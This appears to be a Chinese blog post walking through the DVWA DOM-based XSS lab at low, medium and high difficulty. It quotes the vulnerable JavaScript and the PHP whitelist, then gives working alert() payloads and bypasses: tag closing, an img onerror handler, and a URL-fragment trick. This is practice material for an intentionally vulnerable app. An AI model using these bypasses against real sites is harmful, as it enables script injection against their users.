刷题之旅第6站,DVWA XSS DOM (low,medium,high)

一、什么是xss dom

DOM型XSS是基于DOM文档对象模型的一种漏洞

通过 HTML DOM,树中的所有节点均可通过 JavaScript 进行访问。所有 HTML 元素(节点)均可被修改,也可以创建或删除节点。(引用W3C)

因为可以在DOM树中植入js代码,因此造成了XSS-DOM漏洞,所以DOM类型的XSS可能是反射型也可能是储存型。

二、DVWA实战

1、low难度

没有进行任何过滤,直接写入js代码就行

?default=<script>alert(/xss/)</script>

在这里插入图片描述

2、medium难度

看一下源代码

<form name="XSS" method="GET">
			<select name="default">
				<script>
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
				</script>
			</select>

需要进行闭合 select 和 option 标签

?default=English</option></select><script>alert(/xss/)</script>

这样提交之后,发现并没有弹窗,那么可能是对 script 标签进行了过滤。
使用img标签

?default=English</option></select><img src=1 onerror=alert('WUQING')>

在这里插入图片描述

3、high难度

我们看一下后端PHP代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

#之后的字符,是不会被发送到服务器的。

?default=English#<script>alert(/xss/)</script>

在这里插入图片描述

发布了50 篇原创文章 · 获赞 12 · 访问量 1909

猜你喜欢

转载自blog.csdn.net/weixin_45940434/article/details/104061157